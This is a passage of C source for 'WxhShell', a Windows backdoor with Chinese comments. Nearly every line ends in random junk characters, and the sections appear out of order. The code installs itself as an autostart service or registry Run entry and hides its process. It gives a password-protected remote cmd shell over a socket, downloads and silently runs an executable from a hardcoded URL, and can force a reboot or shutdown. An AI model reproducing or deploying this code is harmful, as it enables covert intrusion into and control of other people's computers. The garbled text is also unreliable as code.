    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D+:}D*_&  
    else { t/HUG#W{  
    closesocket(wsh); %ymM#5A  
    ExitThread(0); NtnKS@Ht  
    } IhYTK%^96  
    break; oA1d8*i^E  
    } D>~S-]  
  // 获取shell \X?GzQkr  
  case 's': { ^.f`6 6/  
    CmdShell(wsh); yF#:*Vz>  
    closesocket(wsh); O] nZr  
    ExitThread(0); 6+;B2;*3  
    break; JG=U@I]  
  } h+rrmC  
  // 退出 e%O]U:Z  
  case 'x': { 0,x<@.pW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EN!Q]O|  
    CloseIt(wsh); :',Q6j(s  
    break; 7P2?SW^  
    } +UTs2*H/^  
  // 离开 MCcWRbE5#  
  case 'q': { ?TXe.h|u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V9"?}cR/W;  
    closesocket(wsh); tLzX L *  
    WSACleanup(); TnvX&Y'  
    exit(1); <RMrp@[  
    break; [sT}hYh+  
        } ETA 1\  
  } ?H.7 WtTC  
  } [$D4U@mRp  
mCY+V~^~kz  
  // 提示信息 1ukCH\YgU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lVmm`q6n9  
} =h{j F7  
  } <hO|:LX  
@4Ox$M  
  return; n#|pR2  
} J:q:g*Wi  
mP?~#RZ  
// shell模块句柄 o|v_+<zD!  
int CmdShell(SOCKET sock) 8@f=GJf  
{ e{dYLQd  
STARTUPINFO si; )|`# BC  
ZeroMemory(&si,sizeof(si)); d&'}~C`~k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #<\A[Po  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dt efDsK  
PROCESS_INFORMATION ProcessInfo; > $#v\8  
char cmdline[]="cmd"; @%5$x]^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NzP5s&,C69  
  return 0; 9mT;> mE  
} =[ $zR>o*%  
*:*Kdt`'G  
// 自身启动模式 o y'GAc/  
int StartFromService(void) U6pG  
{ X8Xw'  
typedef struct \Q5Jg  
{ Z3)l5JG)  
  DWORD ExitStatus; ezC2E/#  
  DWORD PebBaseAddress; : Nf-}"  
  DWORD AffinityMask; ?1f(@  
  DWORD BasePriority; NG2@.hP:uU  
  ULONG UniqueProcessId; 2 P=c1;  
  ULONG InheritedFromUniqueProcessId; "[*W=6m0  
}   PROCESS_BASIC_INFORMATION; z}" Xt=G?  
&mM[q 'V  
PROCNTQSIP NtQueryInformationProcess; 2[Ja|W\If  
km]RrjRp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \*C}[D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $ +`   
Xiyh3/%yy  
  HANDLE             hProcess; jE !W&0  
  PROCESS_BASIC_INFORMATION pbi; Q+O3Wgjy  
5Z`9L| 3d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .mse.$TK.^  
  if(NULL == hInst ) return 0; w<3g1n7R  
vPV=K+1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q0oNRAvn"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1i.t^PY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <R6$ kom`  
Rw54`_kFEB  
  if (!NtQueryInformationProcess) return 0; <oE(I)r4,  
UY_'F5X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !1:364  
  if(!hProcess) return 0; ~vVsxC$.  
R9/(z\'}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `xO9xo#  
hY?x14m$3  
  CloseHandle(hProcess); o+H;ZGT5H  
 {ws:g![  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "v"w ER?  
if(hProcess==NULL) return 0; -L&FguoVB  
U-P\F-  
HMODULE hMod; gUo L8~  
char procName[255]; j&G*$/lTO6  
unsigned long cbNeeded; >l\?K8jL9  
{~"&$DY2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7h4"5GlO0  
kT!Y~c  
  CloseHandle(hProcess); eQ}o;vJN  
Btmv{'T_y@  
if(strstr(procName,"services")) return 1; // 以服务启动 W6&s_ (  
DL^}?Ve  
  return 0; // 注册表启动 JVzU'd;1!  
} ]"3(UKx  
@bN`+DC!<  
// 主模块 H$ !78/f  
int StartWxhshell(LPSTR lpCmdLine) fNVNx~E  
{ O6LuFT .  
  SOCKET wsl; #'qEm=%  
BOOL val=TRUE; USKa6<:{W  
  int port=0; 2qb,bp1$  
  struct sockaddr_in door; ;xnJ+$//U  
kp~@Ub @O3  
  if(wscfg.ws_autoins) Install(); wX3x.@!:  
Z;^UY\&X  
port=atoi(lpCmdLine); A 'Q nL  
>g+ogwZ  
if(port<=0) port=wscfg.ws_port; 9tW=9<E  
Yy4? |wVl  
  WSADATA data; F8\nAX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /$7_*4e  
nyZUf{:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @ (UacFO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7*e7P[LQU  
  door.sin_family = AF_INET; A~CQ@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IAD_Tck  
  door.sin_port = htons(port); 3H0~?z_  
9Bl c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IH;+pN  
closesocket(wsl); D Hkmn  
return 1; -Mb`I >=  
} z@lUaMm:F  
!BN7 B  
  if(listen(wsl,2) == INVALID_SOCKET) { ~aK@M4  
closesocket(wsl); Wx;`=9  
return 1; /7$3RV(  
} NR8YVO)5$  
  Wxhshell(wsl); TSQ/{=r  
  WSACleanup(); `TM[7'  
:nuMakZZ  
return 0; w6k\po=  
{iGk~qN  
} niZ/yW{w  
=?U"#a  
// 以NT服务方式启动 J?\z{ ;qa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D8otU DB{  
{ T@PtO "r  
DWORD   status = 0; X\?e=rUfn  
  DWORD   specificError = 0xfffffff; w<?v78sT  
Hq.ys>_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mK3U*)A   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *(PQaXx4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CU3[{a  
  serviceStatus.dwWin32ExitCode     = 0; 5*=a*nD11  
  serviceStatus.dwServiceSpecificExitCode = 0; H7 acT  
  serviceStatus.dwCheckPoint       = 0; :I(-@2?{  
  serviceStatus.dwWaitHint       = 0; $V$|"KRcs  
Sm;EWz-?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hadGF%> O6  
  if (hServiceStatusHandle==0) return; s6k,'`.  
3YyB0BMW  
status = GetLastError(); "(uEcS2<  
  if (status!=NO_ERROR) hjB G`S#  
{ 4}:a"1P"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o#X|4bES  
    serviceStatus.dwCheckPoint       = 0; _ri1RK,  
    serviceStatus.dwWaitHint       = 0; 1LTl=tS#  
    serviceStatus.dwWin32ExitCode     = status; ;~Eb Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; $:I~y| !1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @D!KFJ  
    return; d($f8{~W  
  } ;<Dou7=  
$gsn@P>"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >;S/$  
  serviceStatus.dwCheckPoint       = 0; zbt>5S_  
  serviceStatus.dwWaitHint       = 0; n>F1G MX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R v6 1*F4  
} w(kN0HD  
;m{*iKL6{  
// 处理NT服务事件,比如:启动、停止 yM%,*VZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F&}>2QiL  
{ @\ip?=  
switch(fdwControl) U[\aj;g)  
{ >|jSd2_p  
case SERVICE_CONTROL_STOP: <r (Y:2  
  serviceStatus.dwWin32ExitCode = 0; S$q:hXZ#e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g>h5NrD N  
  serviceStatus.dwCheckPoint   = 0; jHPJk8@y  
  serviceStatus.dwWaitHint     = 0; e[fzy0  
  { sidSY8j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ar.w'z  
  } 7dl]f#uZU  
  return; Fx']kn9  
case SERVICE_CONTROL_PAUSE: ^E&':6(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FHVZ/ e  
  break; "R-1 G/  
case SERVICE_CONTROL_CONTINUE: yBKkx@o#z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M IPmsEdBi  
  break; Fy N@mX  
case SERVICE_CONTROL_INTERROGATE: pqPhtWi%PJ  
  break; l^x5m]Kt  
}; DXj_\ R(}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /[YH  W]  
} M9{?gM9  
Ob+L|FbnN  
// 标准应用程序主函数 EB'(%dH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tp2CMJc{L  
{ ;\=W=wL(  
hv 18V>8  
// 获取操作系统版本 * ";A~XNx  
OsIsNt=GetOsVer(); M$L1!o1Xf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Pb$ep|`u  
0R~{|RHM  
  // 从命令行安装 #z{9:o7[-  
  if(strpbrk(lpCmdLine,"iI")) Install(); {.tUn`j6V  
YC\~PVG  
  // 下载执行文件 hPt(7E2ke~  
if(wscfg.ws_downexe) { <7TE[M'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5KJN](x+  
  WinExec(wscfg.ws_filenam,SW_HIDE); Rt{qbM|b&  
} yu~~"Rq)  
W!g'*L/#L  
if(!OsIsNt) { BgLK}p^  
// 如果时win9x,隐藏进程并且设置为注册表启动 mT\!LpX  
HideProc(); V2kNJwwk  
StartWxhshell(lpCmdLine); E<;C@B  
}  gc@,lNmi  
else jj8AV lN  
  if(StartFromService()) c#+JG  
  // 以服务方式启动 =BpX;n <  
  StartServiceCtrlDispatcher(DispatchTable); kBd #=J  
else VJ P]Jy_  
  // 普通方式启动 ^+cf  
  StartWxhshell(lpCmdLine); b@@`2O3"  
H)1< ;{:  
return 0; Oa=0d;_  
} )|f!}( p  
1lu _<?O  
-?n|kSHX  
V}ZF\SG(K  
=========================================== DWDL|4 og  
Q}ho Y  
A][\L[8X  
jJ86Ch  
Pb=J4Lvz(d  
31-%IkX+k  
"  lTsl=  
S!o!NSn@1  
#include <stdio.h> :WejY`}H%  
#include <string.h> O$+J{@  
#include <windows.h> {4tJT25  
#include <winsock2.h> [aX'eM q  
#include <winsvc.h> p%5RE%u  
#include <urlmon.h> GYYk3\r  
*b9=&:pU(  
#pragma comment (lib, "Ws2_32.lib") !u)ve h3x  
#pragma comment (lib, "urlmon.lib") XPE{]4 g  
*/ZrZ^?o  
#define MAX_USER   100 // 最大客户端连接数 U.UN=uv_  
#define BUF_SOCK   200 // sock buffer 2'W3:   
#define KEY_BUFF   255 // 输入 buffer nE)?P*$3Z  
D OiL3i"H  
#define REBOOT     0   // 重启 "Q;n-fqf  
#define SHUTDOWN   1   // 关机 N8;/Zd;^  
rmutw~nHD  
#define DEF_PORT   5000 // 监听端口 !q!.OQ  
1t/#ZT!X/  
#define REG_LEN     16   // 注册表键长度 & D4'hL3  
#define SVC_LEN     80   // NT服务名长度 %{s<h6{R  
=xFw4 D9  
// 从dll定义API \gy39xoW(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pA9^-:\*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); io^^f|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ul7)CT2:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7a 4G:  
[5^"U+`{x  
// wxhshell配置信息 z 7OTL<h  
struct WSCFG { d(zBd=;  
  int ws_port;         // 监听端口 W #E-vi+l  
  char ws_passstr[REG_LEN]; // 口令 TG'_1m*$  
  int ws_autoins;       // 安装标记, 1=yes 0=no `~QS3zq  
  char ws_regname[REG_LEN]; // 注册表键名 GGsDR%U  
  char ws_svcname[REG_LEN]; // 服务名 ZFh2v]|!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WPiQ+(pt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dX-Xzg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 82Dw,Cn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %JmSCjt`G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z/aZD\[_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !_)*L+7f_  
n#,|C`2r  
}; hl?G_%a  
U7(84k\j  
// default Wxhshell configuration C]K|;VQ  
struct WSCFG wscfg={DEF_PORT,  Hrm^@3  
    "xuhuanlingzhe", z/(^E8F  
    1, E9t[Mb %0  
    "Wxhshell", }N!I|<"/  
    "Wxhshell", h^ea V,x>=  
            "WxhShell Service", lAz.I  
    "Wrsky Windows CmdShell Service", u{maE ,  
    "Please Input Your Password: ", 4~=/CaG~  
  1, Q)S0z2  
  "http://www.wrsky.com/wxhshell.exe", $+qJ#0OE$  
  "Wxhshell.exe" 0q(}nv  
    }; EOWLGleD1  
p me5frM|  
// 消息定义模块 'v iF8?_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; deO/`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l -us j%\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -bT1Qh X  
char *msg_ws_ext="\n\rExit."; 7<DlA>(oUX  
char *msg_ws_end="\n\rQuit."; #-kG\}  
char *msg_ws_boot="\n\rReboot..."; >AI65g  
char *msg_ws_poff="\n\rShutdown..."; 8?AFvua}r  
char *msg_ws_down="\n\rSave to "; |u{NM1,  
:it52*3=  
char *msg_ws_err="\n\rErr!"; ] P;Ng=a  
char *msg_ws_ok="\n\rOK!"; Uc]S7F#  
X-O/&WRYQ  
char ExeFile[MAX_PATH]; W3K?K-  
int nUser = 0; $-'p6^5  
HANDLE handles[MAX_USER]; tb#. Y  
int OsIsNt; 5SKj% %B2,  
(<!Yw|~  
SERVICE_STATUS       serviceStatus; YNV4w{>FD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qV2aa9p+  
#]pFE.o  
// 函数声明 T7_i: HU%  
int Install(void);  oZTKG'  
int Uninstall(void); 45fk+#  
int DownloadFile(char *sURL, SOCKET wsh); uQgv ;jsPz  
int Boot(int flag); Y8YNRyc=  
void HideProc(void); [A99e`  
int GetOsVer(void); ib8@U}Vn1  
int Wxhshell(SOCKET wsl); ,;9byb  
void TalkWithClient(void *cs); z/yNFY]i  
int CmdShell(SOCKET sock); %7WGodlXW  
int StartFromService(void); *^+8_%;1  
int StartWxhshell(LPSTR lpCmdLine); mb_*FJB-_  
$|-joY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }cuU5WQ?%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `) s]T.-  
]G m"U!h*  
// 数据结构和表定义 LRl2@&z<  
SERVICE_TABLE_ENTRY DispatchTable[] = ikd~k>F  
{ Oo<L~7B  
{wscfg.ws_svcname, NTServiceMain}, 7kJ =C  
{NULL, NULL} luAmq+  
}; V*HkF T  
x`/"1]Nf  
// 自我安装 :s|" ZR  
int Install(void) t_cNH@^3<3  
{ !*#2~$:  
  char svExeFile[MAX_PATH]; I[u%k ir  
  HKEY key; G`3/${ti  
  strcpy(svExeFile,ExeFile); AB92R/  
HAJK%zLc  
// 如果是win9x系统,修改注册表设为自启动 CYD&#+o  
if(!OsIsNt) { t/xWJW2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w+c%Y\:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]Q-*xho  
  RegCloseKey(key); CtiTXDc_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $<&N#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <2Q+? L{  
  RegCloseKey(key); iOk^RDG+  
  return 0; ;#a^M*e  
    } zyb>PEd.  
  } znm3b8ns  
} v%8.o%G  
else { Bg.~#H  
&|cg`m  
// 如果是NT以上系统,安装为系统服务 Hg<d%7.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VnqgN  
if (schSCManager!=0) _Ec9g^I10  
{ 4 XSEN ]F  
  SC_HANDLE schService = CreateService Y#[jDS(ip  
  ( >drG,v0qh  
  schSCManager, }',/~T6  
  wscfg.ws_svcname, "`;$wA  
  wscfg.ws_svcdisp, ;VVKn=X=S=  
  SERVICE_ALL_ACCESS, $mf Z{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `a *_b9  
  SERVICE_AUTO_START, 7OSk0%Q,  
  SERVICE_ERROR_NORMAL, -DWyKR= j"  
  svExeFile, ;A^Ii>`  
  NULL, t2V|moG  
  NULL, w Q!C9Gp3e  
  NULL, 9p| ;Hh:  
  NULL, PX7@3Y  
  NULL X)P;UVR0  
  ); [N] 5)n  
  if (schService!=0) l\+^.ezD  
  { )bCw~'h*  
  CloseServiceHandle(schService); @APv?>$)  
  CloseServiceHandle(schSCManager); Ll 4/P[7:?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $H}G'LqiG  
  strcat(svExeFile,wscfg.ws_svcname); [1Cs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ry^FJyjW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .;),e#  
  RegCloseKey(key); ']]C zze  
  return 0; N$cm;G=]  
    } fGK=lT$  
  } >iE/t$%1  
  CloseServiceHandle(schSCManager); UEkn@^&bg  
} K ?R* )_  
} ep|>z#1  
v[-.]b*5A$  
return 1; tb#9TF  
} RRXnj#<g  
\9r1JP0  
// 自我卸载 ~=xiMB;oH  
int Uninstall(void) W@"s~I6  
{ ^g^R[8  
  HKEY key; 6M sVV_/  
Y z"B  
if(!OsIsNt) { [WZGu6$SU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !'yCB9]O  
  RegDeleteValue(key,wscfg.ws_regname); k :KN32%  
  RegCloseKey(key);  3W& f^*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #Tm^$\*h\]  
  RegDeleteValue(key,wscfg.ws_regname); }q8 |t3  
  RegCloseKey(key); "$@>n(w  
  return 0; x?5D>M/Y  
  } {Y0Uln5u  
} 1#]0\Y(  
} :.2Tcq  
else { }K<% h  
^?-SMcUHB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0#$<2  
if (schSCManager!=0) qe M`z  
{ l:' 0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T;?=,'u  
  if (schService!=0)  (TKn'2  
  { d'bAM{R>  
  if(DeleteService(schService)!=0) { 0O@UT1 M;v  
  CloseServiceHandle(schService); f}1B-  
  CloseServiceHandle(schSCManager); h mijp1u  
  return 0; cD&QN9  
  } Dm^Bk?#(  
  CloseServiceHandle(schService); NFYo@kX> G  
  } E;I'b:U`  
  CloseServiceHandle(schSCManager); 0-s[S  
} {nr}C4]o  
} kK62yz,  
<in#_Of {E  
return 1; 0ZRIi70u  
} 06)B<  
q4Rvr[  
// 从指定url下载文件 1$+-?:i C  
int DownloadFile(char *sURL, SOCKET wsh) CP5vo-/)-  
{ )Id.yv}_  
  HRESULT hr; QYS 1.k  
char seps[]= "/"; E2hy%y9Tp  
char *token; NA=I7I@  
char *file; !PAuMj)P  
char myURL[MAX_PATH]; 6!QY)H^j9,  
char myFILE[MAX_PATH]; ~tw#Q  
|8m2i1XG  
strcpy(myURL,sURL); ca@?-)  
  token=strtok(myURL,seps); 8ch^e[U`  
  while(token!=NULL) O6 :GE'S  
  { lMn1e6~K  
    file=token; h vC gd^M  
  token=strtok(NULL,seps); KR49Y>s<  
  } d9qA\ [  
cPx] :sC  
GetCurrentDirectory(MAX_PATH,myFILE); s|cL mL[  
strcat(myFILE, "\\"); k'(d$;Jgr  
strcat(myFILE, file); By&ibN),  
  send(wsh,myFILE,strlen(myFILE),0); v@qU<\Y>  
send(wsh,"...",3,0); ;$il_xA)\>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aAT!$0H  
  if(hr==S_OK) CC,f*I  
return 0; +VE ] .*T  
else { /u}  
return 1; qD] &&"B  
Exu5|0AAE  
} }=7? & b  
2:8p>^g=  
// 系统电源模块 CyHaFUbZ  
int Boot(int flag) t_Q\uo}  
{ ~_XK<}SK  
  HANDLE hToken; h?D>Dfeg%  
  TOKEN_PRIVILEGES tkp; %U<1]  
&/\Q6$a  
  if(OsIsNt) { l- mt{2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1xf Pe#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )XFaVkQ}  
    tkp.PrivilegeCount = 1; be->ofUYgs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $FJf8u`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  << XWL:  
if(flag==REBOOT) { 9ZYT#h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ntZl(]l  
  return 0; ru>c\X^|  
} K{vn[}  
else { bE6:pGr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -zSkon2Y^  
  return 0; &{gD(QG  
} l(B(gPvU  
  } ab@1JAgs  
  else { u]<_6;_  
if(flag==REBOOT) { +[lv `tr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uE;bNs'  
  return 0; o<\u Hr3  
} }%}yOLo:  
else { 57S!X|CE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pWm==Ds|  
  return 0; 141G~@-  
} NB.s2I7  
} !k}]`z^d  
GKg&lM!O$  
return 1; Y9w^F_relL  
} [S:{$4&  
^C|N  
// win9x进程隐藏模块 @dHQ}Ni  
void HideProc(void) tD j/!L`  
{ kc:>[{9  
[" PRxl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YD@n8?~$$  
  if ( hKernel != NULL ) LJ{P93aq`^  
  { kp=wz0#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^77Q4"{W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); voitdz  
    FreeLibrary(hKernel); L"(k;Mfe  
  } {kdS t1  
>s;>"]  
return; mE)I(< %  
} /4 M~ 6LT`  
vxt<}h5J/!  
// 获取操作系统版本 +#LD@)G  
int GetOsVer(void) Q|] 9  
{ 5<RZ ht$i  
  OSVERSIONINFO winfo; Fu$JI8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); huTWoMU  
  GetVersionEx(&winfo); n]< >$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Xf/qUao  
  return 1; _Z0O]>KH  
  else #[ TOe  
  return 0; )r`F}_CEL  
} 8w\ZY>d   
*f*o ,~8V1  
// 客户端句柄模块 \-nbV#{  
int Wxhshell(SOCKET wsl) 1R"?X'w  
{ @\}w8  
  SOCKET wsh; T:|PSJc0  
  struct sockaddr_in client; RK\$>KFE  
  DWORD myID; TJ`Jqnh  
XnNU-UCX  
  while(nUser<MAX_USER) }}q_QD_  
{ Xt$o$V  
  int nSize=sizeof(client); k%TjRf{p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^- H  
  if(wsh==INVALID_SOCKET) return 1; hTS?+l  
[39  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YkJnZ_k/P  
if(handles[nUser]==0) %1UdG6&J_  
  closesocket(wsh); RKtU@MX49  
else %kXg|9Bx!  
  nUser++; c-" .VF  
  } V")u y&Ob  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +m]Kj3-z@  
gu|cQ2xV  
  return 0; Qs #7<NQ  
} wxW\L!@  
(-bLP  
// 关闭 socket {[Z}<#n)  
void CloseIt(SOCKET wsh) I?~iEO\nh  
{ /xh/M@G3  
closesocket(wsh); 1 [D,Mu%E  
nUser--; 1@6FV x  
ExitThread(0); syB.Z-Cpd  
} 2)^gd  
F\BD7W  
// 客户端请求句柄 p`mNy o'  
void TalkWithClient(void *cs) i8+[-mh  
{ tO8<N'TD  
/5&' U!:+  
  SOCKET wsh=(SOCKET)cs; SMIr@*R  
  char pwd[SVC_LEN]; u0?,CQPL  
  char cmd[KEY_BUFF]; 1 2y+g5b  
char chr[1]; :J~sz)n4  
int i,j; D)){"Q!b  
D\9-MXc1  
  while (nUser < MAX_USER) { E5`KUMZkq  
$9PscubM4  
if(wscfg.ws_passstr) { 9LK<u$C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ["} Yp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ m#|[%  
  //ZeroMemory(pwd,KEY_BUFF); vq;_x  
      i=0; '@3Kq\/  
  while(i<SVC_LEN) { SXF~>|h5<  
qpZR-O  
  // 设置超时 DD^iEhG  
  fd_set FdRead; /j(3 ~%]o4  
  struct timeval TimeOut; k*"FMJG_  
  FD_ZERO(&FdRead); O$, bNu/g  
  FD_SET(wsh,&FdRead); rJws#^ ]  
  TimeOut.tv_sec=8; (sN;B)  
  TimeOut.tv_usec=0; 'rSP@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JV_V2L1Ut  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nhb: y  
Jo Ih2PD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~Jlo>  
  pwd=chr[0]; kHx6]<  
  if(chr[0]==0xd || chr[0]==0xa) { S{7 R6,B5  
  pwd=0; ,o68xfdZVW  
  break; [_w;=l0 ;  
  } S*9qpes-m|  
  i++; qdY*y&}"J  
    } Udl8?EVSz  
>xK!J?!K  
  // 如果是非法用户,关闭 socket V0)F/qY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hy| X>Z  
} $#LR4 [Fq  
}n[<$*W^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k%2Rv4)hU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2GW.'\D  
DVLF8]5  
while(1) { t IO 'ky  
ai@hQJ*  
  ZeroMemory(cmd,KEY_BUFF); l?J|Ip2W  
WIkr0k  
      // 自动支持客户端 telnet标准   wN^$8m5\T^  
  j=0; V+- ]txu|  
  while(j<KEY_BUFF) { ml\2%07  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 86HK4sES  
  cmd[j]=chr[0]; `S+B-I0  
  if(chr[0]==0xa || chr[0]==0xd) { @teNT"  
  cmd[j]=0; m%[`NP (  
  break; X J{b_h#N  
  } o'auCa,N  
  j++; 4 /Q4sE~<  
    } *p=a-s5-  
2Pz)vnV"  
  // 下载文件 NU{`eM  
  if(strstr(cmd,"http://")) { N"Mw1R4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T]0H&Oov  
  if(DownloadFile(cmd,wsh)) A$;"9F@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F!pgec%]'  
  else v>oWk:iJP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Z$E^QAP  
  } @b5zHXF83E  
  else { RZrQ^tI3"  
Y24H` s1u/  
    switch(cmd[0]) { OS7^S1r-  
  E whCX'Vaj  
  // 帮助 Lj#K^c Ee  
